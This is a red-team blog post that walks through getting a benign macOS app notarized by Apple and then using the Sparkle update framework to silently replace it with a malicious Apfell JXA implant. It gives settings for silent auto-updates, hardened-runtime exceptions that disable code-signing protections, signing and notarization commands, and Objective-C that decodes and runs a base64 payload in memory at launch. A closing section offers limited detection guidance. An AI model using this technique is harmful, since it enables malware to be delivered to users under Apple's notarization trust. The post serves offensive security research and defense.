Sparkling Payloads

Leveraging Notarized Payloads and Sparkle for Initial Access

MacOS 10.15.5 contains several security enhancements that place emphasis on trusting signed and notarized applications. When an end-user attempts to execute an unsigned application, they’re presented with several prompts, warning them that the application may be malicious, and halting its execution. This presents a steep hurdle, however, it’s certainly plausible for an attacker to submit an application for notarization, and get it approved. Cedric Owens demonstrated this in his blog post titled, “Launching Apfell Programmatically”. In this blog post, we’ll cover how to submit an installer package for notarization and use the Sparkle framework to stage an Apfell JXA payload. Sparkle is a customizable framework that allows developers to easily distribute updates via RSS feeds. Developers can customize Sparkle’s behavior within the applications’ code or they can use several key values in the applications’ property list file.

Creating an Application with Sparkle for Updates

We can’t submit an installer package that contains malicious code for notarization. Apple will surely revoke our notarization and possibly our developer ID key. To circumvent notarization checks, we can submit a benign application and then use the Sparkle framework to replace the application with an Apfell payload. As an example, we’ll create a simple application in Xcode. Please use the project here as a template. Once you’ve cloned the project, follow these instructions to add the Sparkle framework. For the most straightforward and easy setup, use Cocoapods to add the Sparkle framework to the project. Open the example project in Xcode, select the Info.plist file in the project navigation pane, and then add the following keys (Figure 1):

  • SUFeedURL: This is the URL for the appcast XML file. The appcast is the RSS feed used to publish new updates.
  • SUEnableAutomaticChecks : When this value is set to true, the application will automatically check for updates without user interaction.
  • SUPublicEDKey : The public EdDSA key used to sign updates. Not required if the application is signed.
  • SUScheduledCheckInterval : The number of seconds between updates in seconds.
  • SUAllowsAutomaticUpdates : Present the end-user with the option to allow automatic updates.
  • SUAutomaticallyUpdate : Set this value to YES and users will not be informed about new updates. Updates will be silently installed when the application quits. For additional keys and customization options, visit customization page.
Figure 1: Sparkle Info.plist Keys

Submitting an application for notarization requires that third-party plug-ins, frameworks, and the application itself are signed with a developer ID. You can complete the enrollment process here. As a member of the developer program, you can create a Developer ID Installer and Developer ID Application certificate by following the instructions here. The Developer ID Application certificate is used to sign applications and the Developer ID Installer is used to sign installer packages. Once the certificates have been downloaded and installed, they’ll be available in the Signing & Capabilities section, under the Signing Certificate dropdown menu (Figure 2). Uncheck Automatically manage signing and select the Developer ID Application certificate.

Figure 2: Signing Certificate Selection

Additionally, notarization requires that applications enable the Hardened Runtime capability. This feature is used to protect applications against memory corruption exploits, code injection, dylib hijacking, and process memory tampering. This limit the capabilities of the Apfell JXA or Poseidon implant. Fortunately, there are several runtime exceptions that can be enabled. In the Signing & Capabilities section, click the + Capability (Figure 3) button and select hardened runtime . Enable the following exceptions:

  • Allow Execution of JIT-compiled Code : Needed for JavaScript execution
  • Allow Unsigned Executable Memory : Allows the application to create writeable and executable memory.
  • Disable Library Validation : Allows the application to load unsigned libraries and libraries signed by other developers.
  • Disable Executable Memory Protection : Disable all code signing protections for the application at runtime.
Figure 3: Adding the Hardened Runtime Capability

Navigate to the Build Phases section in Xcode, click the + sign to add a new build phase, and then select New Run Script Phase. Add the following as the run script:

LOCATION="${BUILT_PRODUCTS_DIR}"/"${FRAMEWORKS_FOLDER_PATH}"
IDENTITY=${EXPANDED_CODE_SIGN_IDENTITY_NAME}
codesign --verbose --force --deep -o runtime --sign "$IDENTITY" "$LOCATION/Sparkle.framework/Versions/A/Resources/AutoUpdate.app"
codesign --verbose --force -o runtime --sign "$IDENTITY" "$LOCATION/Sparkle.framework/Versions/A"

Next, select the AppDelegate.m file in the project navigation pane and replace its contents with the following code:

#import "AppDelegate.h"
#import <Sparkle/Sparkle.h>
@interface AppDelegate ()
@property (weak) IBOutlet NSWindow *window;
@end
@implementation AppDelegate
- (void)applicationDidFinishLaunching:(NSNotification *)aNotification {
// Insert code here to initialize your application
SUUpdater *updater = [SUUpdater sharedUpdater];
// Force Sparkle to check for updates on first launch
[updater checkForUpdatesInBackground];
}
- (void)applicationWillTerminate:(NSNotification *)aNotification {
// Insert code here to tear down your application
}
@end

Finally, build the application by selecting Product in the menu bar and then build. After Xcode successfully compiles the application, follow the instructions outlined in the Publish your appcast section here to generate the appcast XML file.

Getting the Apple Stamp of Approval

MacOS applications are typically installed via disk images or package installers. Package installers can be created with the pkgbuild command line tool or with the Packages application. Open the Terminal application and do the following to create an installer package:

  1. Create a new folder called tmp . Then create a root and scripts directory within that folder. Create another folder called Applications inside the root directory.
  2. Copy/move your application to the /tmp/root/Applications/ directory.
  3. Create a simple bash script called postinstall with the following code:
#!/bin/bash
open /Applications/YourApplication.app &
exit 

4. Make the postinstall script executable with chmod +x postinstall . Now move the postinstall script to the /tmp/scripts/ directory.

5. Build the package with the following command (Note: The package needs to be signed for notarization):

pkgbuild --root root --scripts scripts --sign "INSTALLER SIGNING CERTIFICATE" /path/to/the/output.pkg

6. An application password is required to submit a package for notarization. Follow the instructions provided here and then run the following command to submit the package:

xcrun altool --notarize-app --primary-bundle-id "com.bundle.id" --username "user@email" --password "app password" --file "/path/to/signed/installer/pkg"

If the submission was successful, xcrun will return a GUID (Figure 4) to use to retrieve the status of your submission.

Figure 4: xcrun command result

Run the following command to check the status:

xcrun altool --notarization-info GUID --username "user@email" --password "app password"

If your package has been successfully notarized, the Status Message field in the output should be set to Package Approved . Optionally, the notarization ticket can be stapled to the package installer with the command: xcrun stapler staple /path/to/installer/package . In the event that network access is restricted or unavailable, Gatekeeper will check the installers notarization status by looking at the ticket attached to the package’s signature.

The Fun Stuff

Now that the package is notarized, we can shift our focus to weaponizing the application update for initial access. Open the AppDelegate.m and AppDelegate.h file in the example application. Replace their contents with the following:

# AppDelegate.h
#import <Cocoa/Cocoa.h>
@interface AppDelegate : NSObject <NSApplicationDelegate>
-(void)runjs;
@end
# AppDelegate.m
#import "AppDelegate.h"
#import <Sparkle/Sparkle.h>
#import <OSAKit/OSAKit.h>
@interface AppDelegate ()
@property (weak) IBOutlet NSWindow *window;
@end
@implementation AppDelegate
-(void)runjs {
NSString *encString = @"BASE64_ENCODED_JXA_PAYLOAD";
NSData *decodedData = [[NSData alloc] initWithBase64EncodedString:encString options:0];
NSString *decString = [[NSString alloc] initWithData:decodedData encoding:NSASCIIStringEncoding];
OSALanguage *lang = [OSALanguage languageForName:@"JavaScript"];
OSAScript *script = [[OSAScript alloc] initWithSource:decString language:lang];
NSDictionary *__autoreleasing compileError;
NSDictionary *__autoreleasing runError;
[script compileAndReturnError:&compileError];
NSAppleEventDescriptor* res = [script executeAndReturnError:&runError];
}
- (void)applicationDidFinishLaunching:(NSNotification *)aNotification {
// Insert code here to initialize your application
SUUpdater *updater = [SUUpdater sharedUpdater];
// Force Sparkle to check for updates on first launch
[updater checkForUpdatesInBackground];
[self runjs];
}
- (void)applicationWillTerminate:(NSNotification *)aNotification {
// Insert code here to tear down your application
}
@end

The code in the applicationDidFinishLaunching delegate function will check for updates, then call the runjs method, and run the base64 encoded javascript code in memory. After both files have been updated, build the application and compress it into a zip archive.

To generate a new appcast XML file for updates, use thegenerate_appcast command line tool (Figure 5). Download the Sparkle SDK, navigate to the Sparkle-1.23.0/bin folder and then run: ./generate_appcast /path/to/folder/with/application/application.app.zip . Open the XML file and increment both the version and shortVersionString fields. Sparkle uses these values to determine if an update is available. The url should point to where your zip archive is hosted. Move the updated appcast and the application zip archive to your update server.

Figure 5: Appcast Created with generate_appcast

Now, the installer package payload is signed, notarized, and ready for delivery. Check out the short demo video below:

<a href="https://medium.com/media/8e719b281b6d6dcaeb70e1480da07fbb/href">https://medium.com/media/8e719b281b6d6dcaeb70e1480da07fbb/href</a>

Detection Guidance

The purpose of this post isn’t to paint Apple’s notarization service in a negative light or to state that the Sparkle framework is malicious. The purpose is to highlight that trusted services and software can be abused by attackers. It would be a fair assumption to trust notarized applications as much as binaries with zero VirusTotal hits.

After attempting to develop some basic detections, I came to the conclusion that it is difficult to distinguish malicious activities during the update process from those that are benign. I used the Crescendo app to capture events during an update for iTerm. The events were identical to the events created by the example application in this blog post. Defenders will need to rely on pre-existing detections to determine if an application is malicious based on events after the update process completes. An approach that may not be feasible for most organizations would be to automate triage and analysis of application updates. The appcast xml (Figure 5) file provides a URL for the newest version of an application. That URL can be used by automated solutions to pull down updates and execute the application in a sandbox, in addition to submitting the binaries to VirusTotal.

Sparkling Payloads was originally published in Posts By SpecterOps Team Members on Medium, where people are continuing the conversation by highlighting and responding to this story.

Article Link: https://posts.specterops.io/sparkling-payloads-a2bd017095c?source=rss----f05f8696e3cc---4